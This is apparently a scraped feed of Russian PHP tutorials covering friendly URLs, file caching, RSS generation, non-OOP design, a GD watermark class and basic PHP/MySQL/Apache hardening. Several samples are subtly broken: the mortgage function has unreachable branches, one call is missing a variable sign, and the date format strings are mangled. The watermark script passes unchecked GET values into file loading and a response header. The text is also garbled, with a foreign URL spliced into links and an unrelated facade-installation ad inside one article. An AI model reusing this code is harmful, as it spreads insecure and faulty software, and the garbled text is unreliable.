Теория. user friendly urls – технология, которая помогает избавится от некрасивых ссылок с параметрами (напр.: http://site.ru/index.php?action=view&id=1&print=true) и заменить их более понятными человеку (напр.: http://site.ru/1/print/). Основное преимущество в том, то, что ссылки «понятного» вида легче запоминаются человеком. Отличным примером реализации этой технологии является сайт nokia, ну и, конечно же, наш php wars. В данный момент использование «понятных ссылок» стандартом и показателем уважения к посетителю. Это неотъемлемый элемент «юзабилити» любого сайта.

Основы практики. Идея данной технологии проста. Это использование вместо стандартной страницы 404 специального срипта, который бы перенаправил (или сам вывел) запрашиваемое содержимое.

Пример. Посетитель вводит в браузере http://phpwars.net/content/index.html. На самом деле на сервере нет никакого каталога «content» и уж тем более файла «index.html» в нем. Все происходит так. Веб-сервер пытается открыть файл «/content/index.html». Не найдя его он отображает страницу 404 (которая как уже говорилось выше является специально подготовленным скриптом). Далее в работу вступает скрипт. Он посылает http заголовок 200 (страница найдена), обрабатывает запрашиваемый пользователем url и, как например на php wars, выбирает нужные данные из базы данных и формирует страницу и выдает ее в браузер посетителя.

В нашем примере рассмотрен как раз самые первые этапы: отправка заголовка и анализ url. Нашей целью будет превратить строку введенную посетителем в массив параметров.

Для отправки http заголовков в php служит функция «header». Ей мы и пользуемся в самом начале, отправляя заголовок «http/1.1 200 ok».

header("http/1.1 200 ok");

Далее мы проверяем на пустоту элемент супер-глобального массива «$_server». Это необходимо для того, что бы выяснить как обратились к скрипту. Например, Вы настраиваете свой веб-сревер что бы вместо страницы 404 он отображал index.php. Таким образом становятся возможными два варианта. Посетитель зашел по ссылке прямой ссылке http://phpwars.net/index.php или по какой-либо понятной ссылке http://phpwars.net/content/index.html. В первом случае элемент «redirect_url» будет пустым. Во втором он будет равен «/content/index.html». Если элемент пуст, то оставляем массив параметров пустым.

Следующим шагом мы присваиваем значение элемента «redirect_url» переменной «$url». Это делается для того, что бы была возможность в дальнейшем использовать этот элемент.

Готовим «$url» к обработке. Если первым символом в строке является слеш, то удаляем его. Это необходимо для того, что бы при набивке массива у нас не получалось первого пустого элемента («нарезка» массива будет производится по слешам).

if($url[0]=='/') $url=substr($url, 1);

Следующим шагом мы удаляем последний слеш в конце строки, если он есть.

if($url[strlen($url)-1]=='/') $url=substr($url, 0, -1);

Как видно для выделения подстрок в php используется функция «substr». Ей передаются три параметра:

переменная, из которой необходимо выделить подстроку
номер символа, с которого начинается выделяемая подстрока
номер последнего символа выделяемой подстроки
Если передать третий параметр, как отрицательное число, то отсчет будет производится с конца строки. Естественно, что функция возвращает нужную подстроку в случае удачи либо flase в противном случае.

Разделяй и властвуй.
Следующим шагом мы разделяем строку на элементы с помощью функции «explode». В качестве разделителя используем слеш. Как видно функции «explode» передается только два параметра:

переменная, которую надо разделить
разделитель по которому будет производится деление. Заметьте, что в качестве разделителя может использоваться не только один символ, а произвольная строка.
Функция возвращает массив полученный при разделении строки.

$url=explode('/', $url);

Далее мы считаем количество элементов в массиве с помощью функции «count». Если у нас ноль элементов (массив пуст), то присваиваем нашему результирующему массиву параметров также пустой массив. Такая ситуация может сложиться только теоретически, но все же – береженого Бог бережет.

Рассматриваем ситуация, когда у нас больше нуля элементов. Тут все достаточно просто. В цикле мы проходимся по всему массиву и очередной элемент не пуст присваиваем ему соответствующий элемент результирующего массива. Звучит сложно, но как видно в это всего несколько строк кода.

$p=array(); $j=0;
for($i=0; $i<=$tmp; $i++)
{
if(!empty($url[$i]))
{
$p[$j]=$url[$i];
$j++;
}
}

Итог.
Вот и все. Обработка закончена. В результате у нас получился массив с обработанным url. Так например, если посетитель зайдет по ссылке http://phpwars.net/content/index.html, то в нашем массиве будут следующие элементы:

$p[0]=”content”; $p[1]=”index.html”; Дальнейшая реализация user friendly urls уже зависит от того, какие другие технологии используются (mysql например).]]> Sat, 27 Apr 2013 18:53:35 +0300 Простой способ кеширования страниц
Мы рассмотрим простой вариант кеширования, когда содержимое кеша обновляется через определенные промежутки времени. В большинстве случаев этого хватает. Конечно, в будущем мы рассмотрим и более сложные случаи.

Для начала определимся, как будет выглядеть кеш. Думаю, что самый простой (и не самый плохой) выход - это просто каталог с файлами, названными определенным образом. Имена файлов будут состоять из несколько видоизмененного query_string и прав пользователя. Из query_string мы вырезаем упоминание о сессии (у разных пользователей она разная, а страница, скорее всего, одна и та же). Права пользователя - важная вещь. Ведь, например, администратор часто видит страницу не так, как обычные пользователи. В данном фрагменте кода мы считаем, что есть глобальная переменная $user, где хранится информация о пользователе, и функция user_rights, которая возвращает права пользователя.

function make_cache_fname() {
global $user;
return 'cache/'.
md5(preg_replace("/^(.*?)&?".session_name().".*$/si",
"1",
getenv('query_string'))).
'.'.
md5(user_rights($user));
}

Теперь можем создать функцию, которая будет читать данные из кеша. Если она не найдет нужную информацию, она вернет пустую строку.

function page_from_cache() {
global $cache_hits, $cache_expirations, $timelimit;
$fname = make_cache_fname();
if ((file_exists($fname)) and
(($time_diff = (time() - filemtime($fname))) < $timelimit)) {
$fchk = fopen($fname, 'r');
$output = fread($fchk, filesize($fname));
fclose($fchk);
$cache_hits++;
$tm = $timelimit - $time_diff;
$cache_expirations .= ((strlen($cache_expirations) > 0) ? ',' : '').
((strlen($tm) > 0) ? $tm : '0');
return $output;
} // cache hit
else {
return '';
}
}

Ну и, конечно, никак нельзя обойтись без добавления в кеш. Тут все просто.

function add_to_cache($txt) {
$fname = make_cache_fname();
$fchk = fopen($fname, 'w');
fwrite($fchk, $txt);
fflush($fchk);
fclose($fchk);
}

Ну а теперь - используем. Объявляем три глобальные переменные - $cache_hits, $cache_expirations, $timelimit. Первая будет хранить количество страниц, взятых из кеша, вторая - список времен, через которые истекает срок хранения данных, взятых из кеша, третья хранит время, через которое кеш надо обновлять.

global $cache_hits, $cache_expirations, $timelimit;

$cache_hits = 0;
$cache_expirations = '';
$timelimit = 150;

//// use cache - begin ////
$cached_page .= page_from_cache();
if ($cached_page != '') {
$output .= $cached_page;
} // cache hit
else {
// устанавливаем значение $to_cache
add_to_cache($to_cache);
$output .= $to_cache;
} // no cache hit
//// use cache - end ////
// используем результат - $output

Где-нибудь внизу страницы можем вывести статистику:

echo 'cache hit(s): '.$cache_hits.
' ('.((strlen(trim($cache_expirations)) > 0) ? $cache_expirations : '0').')';]]> Sat, 27 Apr 2013 18:53:13 +0300 Как сделать свою RSS-ленту

Для начала выдаем правильный content-type:

header("content-type: application/rss+xml");

Затем формируем заголовок ленты:

<?xml version="1.0" encoding="koi8-r"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title>recovered.info</title>
<link>http://recovered.info/</link>
<description>recovered.info forum</description>
<language>ru-ru</language>';

Следует обратить внимание на кодировку документа (encoding), а также заголовок, описание, ссылку и язык. Хотя, как показывает опыт, большинство rss-reader'ов показывает только название ленты, скрывая остальную информацию.

Далее мы собственно должны вывести ленту новостей. Каждая запись состоит из заголовка (title), ссылки (link), описания (description) и даты (dc:date). Обязательными параметрами являются заголовок и ссылка, остальное можно при желании опустить. Или, наоборот, добавить имя автора, категорию или еще что-нибудь (см. описание стандарта).

<item>
<title>'.htmlspecialchars($topic_title).'</title>
<link>http://recovered.info/viewtopic.php?p='.$post_id.'#'.$post_id.'</link>
<description>
topic:
&lt;a href=http://shelek.com/"http://recovered.info/viewtopic.php?t='.$topic_id.'"&gt;'.
htmlspecialchars($topic_title).
'&lt;/a&gt;
&lt;br /&gt;
forum:
&lt;a href=http://shelek.com/"http://recovered.info/viewforum.php?f='.$forum_id.'"&gt;'.
htmlspecialchars($forum_name).
'&lt;/a&gt;
</description>
<category>'.
htmlspecialchars($forum_name).
'</category>
<dc:date>'.
strftime('%y-%m-%dt%h:%m:%s+02:00', $last_post_time).
'</dc:date>
</item>

Обратите внимание на то, что внутри тагов не должна встречаться спец-символы (<, > и т.д.). А также на формат времени (yyyy-mm-ddthh:mm:ss+offset). Весьма распространенный недочет rss-лент - это именно неверное указание времени публикации, что приводит к большой путанице в ленте и неудобствам при чтении. Кстати говоря, дату можно указывать и используя таг <pubdate> - в этом случае она должна соответствовать rfc 822.

После вывода всех записей остается только закрыть ленту:

</channel>
</rss>

А теперь посмотрим, как выглядит готовый скрипт для вывода ленты сообщений форума, использующего движок phpbb:

<?php

include('config.php');

header("content-type: application/rss+xml");

echo '<?xml version="1.0" encoding="koi8-r"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title>recovered.info</title>
<link>http://recovered.info/</link>
<description>recovered.info forum</description>
<language>ru-ru</language>';

if (!($mysql = mysql_connect($dbhost, $dbuser, $dbpasswd)))
return 0;

if (!($db = mysql_select_db($dbname)))
return 0;

$result = mysql_query('select phpbb_posts.topic_id, max(phpbb_posts.post_id),
phpbb_topics.topic_title, phpbb_forums.forum_name,
max(phpbb_posts.post_time) as last_post_time,
phpbb_forums.forum_id
from phpbb_topics, phpbb_posts, phpbb_forums
where ( phpbb_topics.topic_id = phpbb_posts.topic_id ) and
( phpbb_topics.forum_id = phpbb_forums.forum_id )
group by phpbb_posts.topic_id
order by last_post_time desc
limit 15');

while (list($topic_id, $post_id, $topic_title,
$forum_name, $last_post_time, $forum_id) = mysql_fetch_row($result)) {
echo '
<item>
<title>'.htmlspecialchars($topic_title).'</title>
<link>http://recovered.info/viewtopic.php?p='.$post_id.'#'.$post_id.'</link>
<description>
topic:
&lt;a href=http://shelek.com/"http://recovered.info/viewtopic.php?t='.$topic_id.'"&gt;'.
htmlspecialchars($topic_title).
'&lt;/a&gt;
&lt;br /&gt;
forum:
&lt;a href=http://shelek.com/"http://recovered.info/viewforum.php?f='.$forum_id.'"&gt;'.
htmlspecialchars($forum_name).
'&lt;/a&gt;
</description>
<category>'.
htmlspecialchars($forum_name).
'</category>
<dc:date>'.
strftime('%y-%m-%dt%h:%m:%s+02:00', $last_post_time).
'</dc:date>
</item>';

} // while - fetch rows

mysql_free_result($result);

echo '
</channel>
</rss>';

mysql_close($mysql);

?>]]> Sat, 27 Apr 2013 18:52:51 +0300 Неоправданное использование ООП
Несмотря на то, что PHP имеет корректно работающую поддержку объектов, использовать объекты там, где можно без них обойтись - недальновидно и неэффективно. Причина? Дело в том, что поддержка парадигмы ООП в PHP реализована не в полном объёме.

Несмотря на присутствие основных элементов, PHP всё-таки не хватает многих "продвинутых" функций (как защищённые члены или закрытые переменные), которые обязательны для "настоящих" объектно-ориентированных языков (например, Java, C++).

Кроме того, поддержка объектов в PHP недостаточно отработана и не очень эффективна. Это означает, что использование парадигмы ООП может существенно снизить скорость выполнения программы.

Примечание: Другими словами, скрипт, работающий на объектах будет исполняться медленнее, как код внутри eval() по сравнению с обычным кодом. Для более наглядных примеров, где использование ООП принимает какие-то уродливые формы, пришлось бы прибегнуть к продвинутым функциям концепциям PHP, некоторые из которых даже незадокументированы. Так что остановимся на этом.

А что же мы сможем без ООП?

Если вы пришли в PHP из Java или C++, где без объектов трудно создать что-либо более или менее серьёзное, то и в PHP вам будет трудно обходиться без них. Но будьте уверены, что серьёзные приложения могут быть написаны и методик и приёмов ООП (PHP был написан на C, а последний, как мы знаем, не поддерживает объектов).

Итак, для тех, кто не привык обходиться без ООП, приведём альтернативные технологии написания связных и расширяемых приложений вне парадигмы ООП:
Создание API.
Разработка концепции именования (и работа в её рамках).
Группирование взаимосвязанных функций в один файл.

Создание API

Соотнесём код программы с тремя уровнями:
Первый - собственно рабочие функции.
Второй - API функции. Сюда входят функции для построения конкретного приложения.
Третий - само приложение:

<?php
// MortgageRate.php (Ипотечный Кредит)

// Уровень первый - внутренние функции
// Внутренние функции для расчёта оптимальной процентной ставки исходя из времени и размера помесячных выплат

function _mort_find_interest_rate ($total) {
if ($total < 30000)
return (7.4);
elseif ($total > 30000)
return (3.2);
elseif ($total > 50000)
return (2.5);
else
return (1.7);
}

// Уровень второй - API функции

// double calculate_mortgage_rate (int money, int time, int month)
// Рассчитывает процентную ставку исходя из суммы займа, времени погашения и интервала выплат

function calculate_mortgage_rate ($money, $time, $month) {
$rate = _mort_find_interest_rate ($money) / 100;
$money /= ($time / $month);
return ($rate * $money) + $money;
}

?>

<?php
// CalcMortgage.php

// Третий уровень - приложение
// $money, $time и $period получаем из формы

include_once 'MortgageRate.php';

$price = calculate_mortgage_rate ($money, $time, $period);

print "Ваша процентная ставка за $period составляет $price";
?>

Разработка концепции именования и работа в её рамках.

Один из самых неприятных моментов при разработке больших приложений - это конфликты пространства имён. Классы его сегментируют. Таким образом, разные классы могут:
иметь свойства с одинаковыми именами или
содержать в себе методы с одинаковыми именами.
Например, класс Phillips и класс Normal могут одновременно содержать метод с именем screwdriver.

В общем, перед началом большого проекта рекомендуется продумать именование для всего, в частности, способы различия глобальных и регулярных переменных, определения библиотечных функций и т. д.

Группирование взаимосвязанных функций в один файл

Связанные API функции лучше всего собрать в один файл так же, как связанные методы объединяются в класс. Такие файлы можно представить классами, где каждая функция представляет собой как бы метод этого класса. Так, каждая функция будет иметь ясное определение и прозрачную структуру.

Например, можно было бы все функции, связанные с общением с БД, собрать в файл DB.php.

ООП, как и всё на свете, хорошо в меру

Небольшая оговорка: эта глава была написана не для того, чтобы отговорить вас от использования ООП вообще. Скорее, это была попытка убедить вас не работать с PHP в режиме Java или C++, где ООП - решение номер один.

Проведите тщательный анализ всех выгод и потерь, прежде чем применить объектный подход в PHP. Любые виды услуг и монтаж вентилируемого фасада в орле по специальной цене.]]> Sat, 27 Apr 2013 18:52:30 +0300 Создание водяных знаков с помощью PHP
На данном этапе свеого развития PHP предлагает программистам широкий набор функций для динамической генерации изображения и работы с ними. В этой статье я покажу методику создания класса, который будет ставить водяные знаки на эти самые изображения.

Этот класс будет работать с двумя изображениями: исходное и водяной знак. Как дополнение, введен еще третий параметр - наш класс будет содержать альфа-переменную. Это позволит использовать для нашего водяного знака альфа-канал.

Для справки


альфа-канал (alpha-channel): часть изображения, хранящая информацию о прозрачности отдельных участков изображения, тогда как цветовые каналы хранят информацию о цвете изображения. В графических редакторах используется для маскирования (защиты от редактирования) некоторой области изображения. В некоторых приложениях они называются прозрачной маской.

Информация, находящаяся в альфа-канале чаще всего представляет выделенные области - некоторые формы или расположение цветных областей. Сохранение альфа-канала в изображении увеличивает размер файла на 1/3. RGB изображения могут иметь до 24 альфа-каналов. Точечные и индексированные изображения не могут содержать альфа-каналов.


Часть первая - основы

Перед тем, как начать написание самого класса, рассмотрим функции, которые будут в нем использоваться. Вот их список:

# возвращает ширину и высоту изображения
imagesx()
imagesy()
# создаёт новое изображение true-color
imagecreatetruecolor

# возвращает ассоциативный массив с ключами red, green и blue (+ альфа-канал),
# содержащими соответствующие значения для специфицированного индекса цвета
imagecolorsforindex()

# возвращает индекс цвета пиксела в специфицированном месте в изображении
imagecolorat()

# рисует одиночный пиксел заданного цвета
imagesetpixel()

# возвращает индекс индекс цвета в палитре изображения,
# идентификатор цвета (составленный из RGB-компонентов)
# и индекс цвета палитры изображения,
# являющегося "ближайшим" к RGB-значению соответственно
# (эти данные необходимы для функции imagesetpixel() )
imagecolorexact()
imagecolorallocate()
imagecolorclosest()

Как можно увидеть, у php достаточно функций для работы с графикой. Пусть назначение некоторых из них и не совсем понятно в теории, но вот на практике все гараздо проще. Поэтому, чтобы разобраться, как с ними работать, применим их в нашем классе.

Постановка задачи

Сейчас, когда мы уже определились с целью нашего "мини-проекта", немного вернемся назад и поговорим о способах ее реализации.

Для начала, наше приложение получает два изображения - исходное изображения и сам водяной знак. Далее нам необходимо определить размеры этих изображений (width-ширину и height-высоту). Эти данные нам необходимы для расположения водяного знака в центре изображения (исходя из предположения, что размер водяного знака будет меньше самого рисунка).

Потом нужно будет наложить наш водяной знак на исходное изображение. Для этого нам потребуется сложить цвета (математически) накладываемых изображений для получения третьего.

И в итоге, нам нужно будет отобразить полученное изображение в браузере. В данном случае рисунок будет открываться непосредственно из источника, указанного в теге<img>

Думаю, теории уже достаточно - ключевые моменты в ней раскрыты достаточно подробно. Теперь перейдем непосредственно к написанию скрипта.

Часть вторая - пишем скрипт

Начнем с самого простого - напишем класс, который создает файл с водяным знаком. Назовем его "watermark" и пропишем его код в файле “api.watermark.php”. "Скелетом" класса будет три функции:

<?php
class watermark
{
# функция, которая сливает два исходных изображения в одно
function create_watermark() { }
# функция для "усреднения" цветов изображений
function _get_ave_color() { }
# функция, которая находит ближайшие RGB-цвета для нового изображения
function _get_image_color() { }
}
?>

Следующим этапом будет написание кода функций класса "watermark". Дополняем файл “api.watermark.php” следующими строками кода:

# функция, которая сливает два исходных изображения в одно
function create_watermark($main_img_obj, $watermark_img_obj, $alpha_level=100)
{
$alpha_level/= 100; # переводим значение прозрачности альфа-канала из % в десятки
# расчет размеров изображения (ширина и высота)
$main_img_obj_w = imagesx( $main_img_obj );
$main_img_obj_h = imagesy( $main_img_obj );
$watermark_img_obj_w = imagesx( $watermark_img_obj );
$watermark_img_obj_h = imagesy( $watermark_img_obj );
# определение координат центра изображения
$main_img_obj_min_x = floor(($main_img_obj_w/2)-($watermark_img_obj_w/2));
$main_img_obj_max_x = ceil(($main_img_obj_w/2)+($watermark_img_obj_w/2));
$main_img_obj_min_y = floor(($main_img_obj_h/2)-($watermark_img_obj_h/2));
$main_img_obj_max_y = ceil(($main_img_obj_h/2)+($watermark_img_obj_h /2));
# создание нового изображения
$return_img = imagecreatetruecolor($main_img_obj_w, $main_img_obj_h);
# пройдемся по исходному изображению
# "некоторый код"
# отображаем изображение с водяным знаком
return $return_img;
} # конец функции create_watermark()

Теперь подробнее рассмотрим функцию create_watermark().
Первым делом мы передаем ей три параметра:

$main_img_obj # исходное изображение, на которое нужно поставить водяной знак
$watermark_img_obj # сам водяной знак, должен содержать альфа-канал
$alpha_level # значение прозрачности альфа-канала водяного знака, (0-100, по умолчнию = 100)

(Важно отметить, что наша функция принимает изображения как объекты, а не просто как пути к ним – но об этом будет сказано чуть позже)

Далее мы нам необходимо получить информацию об каждом из изображений. Нам это необходимо знать координаты X и Y для расположения водяного знака в центре исходного изображения.

Следующим этапом будет создание нового, true-color изображения с теми же размерами, как и у исходной картинки. Это изображение (переменная $return_img) будет использовано для объединения информации из исходных картинок (рисунок и водяной знак).

Но перед этим еще нужно "пройтись" по каждому из двух исходных изборажений и "слить" их в одно. Вот только это еще рано делать - к этому мы еще не готовы. Вместо этого разместим комментарий "некоторый код", а затем дополним это место участком кода.

Финалом будет отображения нашего модифицированного изображения в веб-странице, которая его запросит. Далее рассмотрим оставшиеся две вспомогательные функции.

Часть третья - вспомогательные функции

Помимо функции create_watermark в нашем классе watermark присутствуют еще две функции. Продолжим исходный код класса следующими строками:

# усреднение двух цветов с учетом прозрачности альфа-канала
function _get_ave_color( $color_a, $color_b, $alpha_level )
{
return round((($color_a * (1 - $alpha_level)) + ($color_b * $alpha_level)));
}
# возвращаем значения ближайших RGB-составляющих нового рисунка
function _get_image_color($im, $r, $g, $b)
{
$c=imagecolorexact($im, $r, $g, $b);
if ($c!=-1) return $c;
$c=imagecolorallocate($im, $r, $g, $b);
if ($c!=-1) return $c;
return imagecolorclosest($im, $r, $g, $b);
}

А теперь подробнее. Наша первая функция “_get_ave_color” принимает численные величины двух цветов и альфа-канала. Возвращает же она усредненную их величину. Эта функция нам необходима для определения цвета, который получится при наложении пикселей двух рисунков.

Вторая функция “_get_image_color” разбивает изображение на red (красный), green (зеленый) и синий (blue) составляющие (rgb-палитра). С помощью встроенных в php функций для работы с графикой (их описание было в начале статьи) получаем ближайшее значение цвета для нового изображения.

В дополнение еще проверяется несколько моментов. Во-первых, если удалось получить точное значение (переменная $c), то оно и возвращается из функции (return $c). В противном случае далается попытка подобрать цвет с помощью функции imagecolorallocate(). Если же и это не поможет достичь результата, то с помощью функции imagecolorclosest() просто возвращается ближайшее значение цвета (самое неточное).

Ну вот, наш класс и почти готов. Осталось только заменить в функции “create_watermark” комментарий "некоторый код" следующими строками:

# пройдемся по изображению
for( $y = 0; $y < $main_img_obj_h; $y++ )
{
for ($x = 0; $x < $main_img_obj_w; $x++ )
{
$return_color = NULL;
# определение истинного расположения пикселя в пределах нашего водяного знака
$watermark_x = $x - $main_img_obj_min_x;
$watermark_y = $y - $main_img_obj_min_y;
# выбор информации о цвете для наших изображений
$main_rgb = imagecolorsforindex($main_img_obj, imagecolorat($main_img_obj, $x, $y));
# если наш пиксель водяного знака непрозрачный
if ($watermark_x >= 0 && $watermark_x < $watermark_img_obj_w && $watermark_y >= 0 && $watermark_y < $watermark_img_obj_h )
{
$watermark_rbg = imagecolorsforindex( $watermark_img_obj, imagecolorat( $watermark_img_obj, $watermark_x, $watermark_y ) );
# использование значения прозрачности альфа-канала
$watermark_alpha = round( ( ( 127 - $watermark_rbg['alpha'] ) / 127 ), 2 );
$watermark_alpha = $watermark_alpha * $alpha_level;
# расчет цвета в месте наложения картинок
$avg_red = $this->_get_ave_color( $main_rgb['red'], $watermark_rbg['red'], $watermark_alpha );
$avg_green = $this->_get_ave_color( $main_rgb['green'], $watermark_rbg['green'], $watermark_alpha );
$avg_blue = $this->_get_ave_color( $main_rgb['blue'], $watermark_rbg['blue'], $watermark_alpha );
# используя полученные данные, вычисляем индекс цвета
$return_color = $this->_get_image_color( $return_img, $avg_red, $avg_green, $avg_blue );
# если же не получиться выбрать цвет, то просто возьмем копию исходного пикселя
} else { $return_color = imagecolorat( $main_img_obj, $x, $y ); }
# из полученных пикселей рисуем новое изоборажение
imagesetpixel($return_img, $x, $y, $return_color );
}
}

После написания такой значительной части кода можно сделать паузу и подробнее остановиться на его анализе.

Первым делом наш скрипт выполняет обход изображения с помощью двух циклов 'for'. Параллельно еще подсчитываются координаты каждого пикселя водяного знака.

Далее производится поиск информации о RGB для кажого пикселя. Если текущий пиксел не находиться в области пересечения исходного изображения и водяного знака, то наш класс лишь дублирует пиксел для нового изображения. В случае расположения пикселя в области пересечения, нам необходимо определить его цвет как результат наложения исходного рисунка и водяного знака.

Для определения цвета области пересечения, сначала нужно получить значение RGB-переменной водяного знака, используя информацию, которую мы получили в циклах 'for'. Потом с помощью функции "_get_ave_color” определяется среднее значение цвета для нового изображения. Далее следует функция “_get_image_color” для определения цветовой гаммы, которая будет использована функцией “return_img”.

В итоге, после завершения работы циклов 'for' у нас есть готовое изображение с водяным знаком.

А теперь проверим наш класс в деле.

Часть четвертая - тест-драйв

Для начала нам потребуются два файла. Первый назовем “watermark_test.php” и разместим в нем следующий код:

<!-- original image -->
<img src=http://shelek.com/"main.jpg">
<br><br>
<!-- watermarked image -->
<img src=http://shelek.com/"image.php?main=main.jpg&watermark=watermark.png">

Назначения этотго файла очень простое: он отображает в браузере исходное (main.jpg) и полученное (watermark.png, с водяным знаком) изображения.

Как можно увидеть, наше второе изображение (watermark.png) ссылается на php-файл image.php, а не на файл-изображение. Эта ссылка имеет вид GET-запроса, где в php-файл передаются значения двух переменных: $main и $watermark.

Второй файл назовем “image.php” и и разместим в нем такой код:

<?php
# подключаем наш класс 'watermark'
include 'api.watermark.php';
$watermark = new watermark();
# создаем объекты-изображения используя исходные файлы (main.jpg и watermark.png)
$main_img_obj = imagecreatefromjpeg( $_GET['main'] );
$watermark_img_obj = imagecreatefrompng( $_GET['watermark'] );
# создаем изображение с водяным знаком - значение прозрачности альфа-канала водяного знака установим в 66%
$return_img_obj = $watermark->create_watermark( $main_img_obj, watermark_img_obj, 66 );
# отобразим наше полученное изображение в браузере - но сначала сообщим ему, что это jpeg-файл
header( 'Content-Type: image/jpeg' );
header( 'Content-Disposition: inline; filename=' . $_GET['src'] );
imagejpeg( $return_img_obj, '', 50 );
?>

Ну вот и подобрались к финалу.
Для тех, кто хочет получить больше информации о создании изображений в популярных форматах, даю несколько ссылок:

http://www.php.net/manual/en/function.imagecreatefromgif.php
http://www.php.net/manual/en/function.imagecreatefromjpeg.php
http://www.php.net/manual/en/function.imagecreatefrompng.php

Чтобы протестировать наш скрипт, просто запустите в браузере файл “watermark_test.php”. Как результат, должно быть два изображения - исходное и с водяным знаком.]]> Sat, 27 Apr 2013 18:52:07 +0300 Безопасность PHP+MYSQL+Apache
1) Лучше создать еще одного пользователя в базе mysql и урезать ему права.. -

2) Все поключения к базе из php осуществлять через так называемые конфигурационные файлы. Отсюдова подробнее.

Итак для доступа в mysql через php создаем файлы дополнительные
(конфигурационные) файлы setup.php & config.php

file setup.php

<?
$dbname="dbname";
$dbuser="dbuser";
$dbpass="dbuserpass";
$dbserver="dbserver";
$adminmail="твое@мыло";
?>

далее создаем файл config.php
file config.php

<?
function db_err($handle, $message) {
printf("%s: %d: %sn", $message,
mysql_errno($handle),mysql_error($handle));
die();
}

function db_connect() {

global $dbname,$dbuser,$dbpass,$dbserver;
$dbh = mysql_connect($dbserver,$dbuser,$dbpass);
if(!$dbh) { db_err($dbh, "mysql_connect"); }
$res = mysql_select_db($dbname);
if(!$res) { db_err($dbh, "mysql_select_db"); }
return($dbh);

}

?>

потом выносим эти файлы за пределы сервера, и наконец подключаем эти файлы в
тех файлах где будем работать с базой.

<?
require("ваш_путь/setup.php");
require("ваш_путь/config.php");
?>

и в конечном итоге получаем красивый и вполне безопастный код.

$dbc=db_connect();
$query = "select .................";
$result = mysql_query($query,$dbc);


--------------------------------------------------------------------------------

Как защитить /etc/passwd от просмотра?
phpclub

В конфигурационном файле сервера apache, в контексте соответствующей
директивы <directory> указать(или в .htaccess):

php_admin_value open_basedir /home/null/www/htdocs
php_admin_value doc_root /home/null/www/htdocs

--------------------------------------------------------------------------------

инклуды (.inc)

часто приходится хранить всякие везде-используемые данные/функции в отдельных
файлах, и потом подключать, используя include[_once]/require[_once].

но эти файлы обычно не парсятся сервером, т.е. их можно смотреть через
браузер, этого мы и хотим избежать. давать таким файлам расширение .php не очень правильно, т.к. их можно вызвать через браузер, и, хотя мы и не увидим содержимое, но, наверняка, у нас начнут вылазить какие-либо ошибки php,
т.к. код внутри файлов обычно расчитан на исполнеие в определенном окружении(наличие коннекта к базе/чтение файлов/определенные значения констант/переменных).

есть 2 выхода по сути похожих
1. поместить все .inc файлы за пределами document_root apache
2. написать .htaccess чтобы запретить доступ ко всем файлам с определенными
расширениями

Пример.

<filesmatch ".(inc|sql|...другие расширения...)$">
order deny,allow
# запретить доступ отовсюду
deny from all
#разрешить доступ с вашего ip(если он у вас, конечно, статический)
allow from <ваш ip>
</filesmatch>]]> Sat, 27 Apr 2013 18:51:44 +0300